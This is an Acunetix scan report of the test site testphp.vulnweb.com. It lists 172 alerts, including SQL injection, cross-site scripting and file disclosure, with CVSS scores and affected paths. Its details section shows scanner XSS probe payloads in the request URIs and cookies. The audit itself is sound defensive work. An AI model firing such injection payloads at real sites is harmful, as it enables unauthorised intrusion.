

Developer Report

Acunetix Security Audit

28 April 2020

Scan of testphp.vulnweb.com

Scan details


Scan information	
Start time	28/04/2020, 06:29:55
Start url	http://testphp.vulnweb.com/
Host	testphp.vulnweb.com
Scan time	32 minutes, 15 seconds
Profile	Full Scan
Server information	nginx/1.4.1
Responsive	True
Server OS	Unknown
Server technologies	PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	172
 High	65
 Medium	71
 Low	9
 Informational	27

Alerts summary

! Cross site scripting

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-79
Affected items	Variation
Web Server	1
/AJAX/showxml.php	1
/comment.php	1
/guestbook.php	2
/hpp/	1
/hpp/params.php	2
/listproducts.php	2
/search.php	1
/secured/newuser.php	6
/userinfo.php	5

! Directory traversal

Classification

CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None	
CWE	CWE-22	
Affected items		Variation
/showimage.php		1

File inclusion

Classification		
CVSS2	Base Score: 7.5 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-20	
Affected items		Variation
/showimage.php		1

Macromedia Dreamweaver remote database scripts

Classification

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Official_fix Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVE	CVE-2004-1893	
CWE	CWE-16	
Affected items		Variation
Web Server		1

! nginx SPDY heap buffer overflow

Classification		
CVSS2	Base Score: 5.1 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Proof_of_concept Remediation Level: Official_fix Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVE	CVE-2014-0133	
CWE	CWE-122	
Affected items		Variation
Web Server		1

! PHP allow_url_fopen enabled

Classification

CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
Web Server		1

Possible database backup

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items		Variation
/admin/create.sql		1

SQL injection

Classification

CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-89

Affected items	Variation
Web Server	1
/AJAX/infoartist.php	1
/AJAX/infocateg.php	1
/AJAX/infotitle.php	1
/artists.php	2
/cart.php	4
/guestbook.php	1
/listproducts.php	3
/Mod_Rewrite_Shop/BuyProduct-3/	1
/Mod_Rewrite_Shop/Details/color-printer/3/	1
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/	1
/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/	1
/product.php	2
/search.php	3
/secured/newuser.php	1
/sendcommand.php	1
/userinfo.php	12

 **.htaccess file readable**

Classification

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
/Mod_Rewrite_Shop/		1

! Application error message

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/listproducts.php		2
/secured/newuser.php		1
/showimage.php		1
/userinfo.php		5

! Backup files

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-538
Affected items	Variation
/index.bak	1
/index.zip	1

! Cross domain data hijacking

Classification	
CVSS2	Base Score: 4.3 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-20
Affected items	Variation
/hpp/params.php	1

! Cross site scripting (content-sniffing)

Classification

CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None	
CWE	CWE-79	
Affected items		Variation
/showimage.php		1

Directory listing

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-538	
Affected items		Variation

/idea/	1
/idea/scopes/	1
/_mmServerScripts/	1
/admin/	1
/Connections/	1
/CVS/	1
/Flash/	1
/images/	1
/Mod_Rewrite_Shop/images/	1
/pictures/	1
/Templates/	1
/wvstests/	1
/wvstests/pmwiki_2_1_19/	1
/wvstests/pmwiki_2_1_19/scripts/	1

Error message on page

Classification	
CVSS2	<p>Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None</p>
CWE	CWE-200
Affected items	Variation
/AJAX/infoartist.php	1
/AJAX/infocateg.php	1
/AJAX/infotitle.php	1
/Connections/DB_Connection.php	1
/pictures/path-disclosure-unix.html	1
/secured/database_connect.php	1

! HTML form without CSRF protection

Classification	
CVSS2	<p>Base Score: 2.6 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 4.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None</p>
CWE	CWE-352
Affected items	Variation
Web Server	1
/404.php	1
/artists.php	1
/cart.php	1
/categories.php	1
/comment.php	1
/disclaimer.php	1
/guestbook.php	2
/hpp/	1
/index.php	1
/listproducts.php	1
/login.php	2
/product.php	2
/search.php	1
/signup.php	2
/Templates/main_dynamic_template.dwt.php	1
/userinfo.php	2

! HTTP parameter pollution

Classification

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 9.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None	
CWE	CWE-88	
Affected items		Variation
/hpp/		1

! Insecure crossdomain.xml file

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 6.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None	
CWE	CWE-284	
Affected items		Variation

Web Server	1
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! JetBrains .idea project directory

Classification	
CVSS2	<p>Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CWE	CWE-538
Affected items	Variation
Web Server	1

! PHP allow_url_fopen enabled

Classification	
CVSS2	<p>Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None</p>
CWE	CWE-16
Affected items	Variation
/secured/phpinfo.php	1

! PHP errors enabled

Classification	
CVSS2	<p>Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None</p>
CWE	CWE-16
Affected items	Variation
/secured/phpinfo.php	1

! PHP errors enabled

Classification	
CVSS2	<p>Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None</p>
CWE	CWE-16

Affected items	Variation
Web Server	1

! PHP open_basedir is not set

Classification	
CVSS2	<p>Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None</p>
CWE	CWE-16
Affected items	Variation
/secured/phpinfo.php	1

! PHP session.use_only_cookies disabled

Classification	
CVSS2	<p>Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CWE	CWE-16
Affected items	Variation
/secured/phpinfo.php	1

! PHPinfo page

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200
Affected items	Variation
/secured/phpinfo.php	1

! PHPinfo page found

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined

CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/secured/phpinfo.php		1

! Source code disclosure

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-538	
Affected items		Variation
/index.bak		1
/pictures/wp-config.bak		1

! User credentials are sent in clear text

Classification

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Workaround Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 9.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None	
CWE	CWE-310	
Affected items		Variation
/login.php		1
/signup.php		1

! WS_FTP log file found

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items		Variation
/pictures/WS_FTP.LOG		1

! Clickjacking: X-Frame-Options header missing

Classification

CVSS2	Base Score: 4.3 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-693	
Affected items		Variation
Web Server		1

 **Cookie(s) without HttpOnly flag set**

Classification		
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
Web Server		1

 **Cookie(s) without Secure flag set**

Classification		
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CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
Web Server		1

Hidden form input named price was found

Classification		
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
/product.php		1

MySQL username disclosure

Classification

CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items		Variation
/Connections/DB_Connection.php		1
/secured/database_connect.php		1

Possible sensitive files

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/hpp/test.php		1

Possible virtual host found

Classification

CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
Web Server		1

Unencrypted connection

Classification		
CVSS2	Base Score: 5.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 9.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None	
CWE	CWE-310	
Affected items		Variation

Web Server	1
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Content Security Policy (CSP) not implemented

Classification	
CVSS2	<p>Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CWE	CWE-16
Affected items	Variation
Web Server	1

Email address found

Classification	
CVSS2	<p>Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None</p>
CWE	CWE-200
Affected items	Variation
Web Server	2
/404.php	1

/artists.php	1
/cart.php	1
/categories.php	1
/disclaimer.php	1
/guestbook.php	1
/index.bak	1
/index.php	1
/listproducts.php	1
/login.php	1
/product.php	1
/search.php	1
/signup.php	1
/Templates/main_dynamic_template.dwt.php	1
/userinfo.php	1

Microsoft Office possible sensitive information

Classification	
CVSS2	<p>Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None</p>
CWE	CWE-200
Affected items	Variation
/secured/office.htm	1

Password type input with auto-complete enabled

Classification

CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
Web Server		2

📌 Possible internal IP address disclosure

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation

/404.php	1
/pictures/ipaddresses.txt	1
/secured/phpinfo.php	1

Possible server path disclosure (Unix)

Classification	
CVSS2	<p>Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>
CVSS3	<p>Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None</p>
CWE	CWE-200
Affected items	Variation
/pictures/path-disclosure-unix.html	1
/secured/phpinfo.php	1

Possible username or password disclosure

Classification	
CVSS2	<p>Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined</p>

CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/pictures/credentials.txt		1

Alerts details

Cross site scripting

Severity	High
Reported by module	/Scripts/PerFile/XSS_in_URI_File.script

Description

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

Recommendation

Apply context-dependent encoding and/or validation to user input rendered on a page

References

[Cross-site Scripting \(XSS\) Attack - Acunetix](https://www.acunetix.com/websitesecurity/cross-site-scripting/) (https://www.acunetix.com/websitesecurity/cross-site-scripting/)

[Types of XSS - Acunetix](https://www.acunetix.com/websitesecurity/xss/) (https://www.acunetix.com/websitesecurity/xss/)

[XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

[Excess XSS, a comprehensive tutorial on cross-site scripting](https://excess-xss.com/) (https://excess-xss.com/)

[Cross site scripting](https://en.wikipedia.org/wiki/Cross-site_scripting) (https://en.wikipedia.org/wiki/Cross-site_scripting.)

Affected items

Web Server

Details

URI was set to **1<ScRiPt>fjC0(9307)</ScRiPt>**

The input is reflected inside a text element.

Request headers

GET /404.php?1<ScRiPt>fjC0(9307)</ScRiPt> HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/AJAX/showxml.php

Verified vulnerability

Details

Cookie input **mycookie** was set to **3'"()&%<acx><ScRiPt >rntK(9680)</ScRiPt>**

Request headers

GET /AJAX/showxml.php HTTP/1.1

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

